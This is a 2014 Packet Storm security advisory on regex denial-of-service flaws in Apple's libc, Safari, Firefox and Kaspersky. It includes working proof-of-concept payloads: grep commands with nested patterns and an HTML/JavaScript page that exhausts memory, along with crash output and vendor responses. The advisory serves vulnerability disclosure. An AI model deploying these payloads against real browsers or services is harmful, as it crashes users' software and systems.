Lucene search

K
packetstormMaksymilian ArciemowiczPACKETSTORM:125725
HistoryMar 14, 2014 - 12:00 a.m.

OS X / Safari / Firefox REGEX Denial Of Service

2014-03-1400:00:00
Maksymilian Arciemowicz
packetstormsecurity.com
38

0.045 Low

EPSS

Percentile

91.6%

`MacOSX Safari Firefox Kaspersky RegExp Remote/Local Denial of Service  
http://cxsecurity.com/  
  
  
---- 0. Where is the problem? ----  
Some time ago I have reported vulnerabilities in regcomp() in BSD  
implementation (CVE-2011-3336) and GNU libc implementation (CVE-2010-4051  
CVE-2010-4052).  
Now is the time for MacOSX and other software and It seems that the problem  
is still in their implementations.  
  
  
--- MacOSX 10.9.2 libc PoC ---  
0:kozak6 cx$ ls |grep -E  
'((.*)(((((((((((((((((((((((((((((((.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}.*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+))'  
grep(715,0x7fff746ed310) malloc: *** mach_vm_map(size=18446744071973109760)  
failed (error code=3)  
*** error: can't allocate region  
*** set a breakpoint in malloc_error_break to debug  
grep: out of memory  
--- MacOSX 10.9.2 libc PoC ---  
  
  
Recursion in Apple regcomp/libc() can lead to consumption, exhaustion, etc.  
(CWE-399)  
The same problem occurs in javascript regexp implementation on Safari and  
Firefox.  
In Kaspersky 14.0.0.4651(e) CPU Exhaustion has been observed.  
  
  
Verified;  
- Safari 7.0.2 (9537.74.9)  
MacOSX 10.9.2 Memory exhaustion (unpatched CVE-2011-3336)  
Phone 4S, iOS 7.0.6 Crash  
  
- Firefox 27.0.1  
Windows: Crash  
http://cert.cx/regexp-smaczki/regcomp2.png  
http://cert.cx/regexp-smaczki/visual4.png  
http://cert.cx/regexp-smaczki/visual3.png  
  
MacOSX: Memory exhaustion  
  
- Kaspersky 14.0.0.4651(e)  
CPU Exhaustion and can't restart kaspersky again  
http://cert.cx/regexp-smaczki/kaspersky.jpg  
  
  
We don't know full list of affected vendors. Anyway javascript PoC  
avaliable here  
  
http://cert.cx/regexp-smaczki/regex.html  
  
--- JavaScript PoC ---  
<HTML>  
<HEAD>  
<TITLE>Firefox 27.0.1 and Safari 7.0.2 (9537.74.9)</TITLE>  
</HEAD>  
<BODY BGCOLOR="#FFFFFF">  
<SCRIPT type="text/javascript">  
var patt1=new  
RegExp("((.*)(((((((((((((((((((((((((((((((.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}.*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+))");  
document.write(patt1.exec("peace"));  
</SCRIPT>  
</BODY>  
</HTML>  
--- JavaScript PoC ---  
  
  
On Safari and Firefox under MacOSX this script will consume excessive  
memory. Windows version has allocated 3,8GB and crash  
  
  
----------------------------  
int readChecked(unsigned negativePositionOffest)  
{  
if (pos < negativePositionOffest)  
CRASH();  
unsigned p = pos - negativePositionOffest;  
ASSERT(p < length);  
return input[p];  
}  
----------------------------  
  
  
Firefox don't support 64 bits version for windows and only 4gb can be  
allocated to cause CRASH().  
  
The most interesting is CPU Exhaustion observed in avp.exe process. Many  
requests to website where RegEx()/javascript code is located cause  
exhaustion of one cpu core. Closing and restarting Kaspersky is impossible.  
  
The situation with regexp security is not declared. Many vendors think that  
regcomp() should be secure by default but are also others opinions  
  
https://bugzilla.redhat.com/show_bug.cgi?id=645859  
---  
Red Hat does not consider crash of client application, using regcomp()  
or regexec() routines on untrusted input without preliminary checking  
the input for the sanity, to be a security issue (the described deficiency  
implies and is a known limitation of the glibc regular expression engine  
implementation). The expressions can be modified to avoid quantification  
nesting, or program modified to limit size of input passed to regular  
expression engine. We do not currently plan to fix these flaws. If more  
information becomes available at a future date, we may revisit these issues.  
---  
  
and try compare with ZABIX statement  
  
https://support.zabbix.com/browse/ZBX-4625  
  
---  
It shouldn't be fixed in Zabbix. That's something to be addressed by glibc  
maintainers.  
---  
  
In January 2014 Juniper has officially patched CVE-2010-4051 and  
CVE-2010-4052 in own products.  
  
http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10612.  
  
MacOSX libc in 10.9.2 is still vulnerable for CVE-2011-3336.  
  
0:log cx$ ls |grep -E '(.?)((((.*){1,100}){1,100}){1,100}){1,100}'  
  
It shows how many varieties of regular expression we have and how hard it  
is to keep a single standard.  
  
  
--- 1. Credit ---  
Maksymilian Arciemowicz  
http://cxsecurity.com/  
  
  
--- 2. References ---  
http://cxsecurity.com/issue/WLB-2011010121  
http://cxsecurity.com/issue/WLB-2011110082  
http://cxsecurity.com/cveshow/CVE-2010-4051  
http://cxsecurity.com/cveshow/CVE-2010-4052  
http://www.kb.cert.org/vuls/id/912279  
http://cxsecurity.com/cveshow/CVE-2011-3336  
http://cxsecurity.com/  
http://cert.cx/regexp-smaczki/regcomp2.png  
http://cert.cx/regexp-smaczki/visual4.png  
http://cert.cx/regexp-smaczki/visual3.png  
http://cert.cx/regexp-smaczki/kaspersky.jpg  
https://bugzilla.redhat.com/show_bug.cgi?id=645859  
https://support.zabbix.com/browse/ZBX-4625  
http://cert.cx/regexp-smaczki/regex.html  
https://devilteam.pl/kaspkersky.html  
https://devilteam.pl/  
  
  
Best regards,  
CXSEC TEAM  
http://cxsec.org/  
`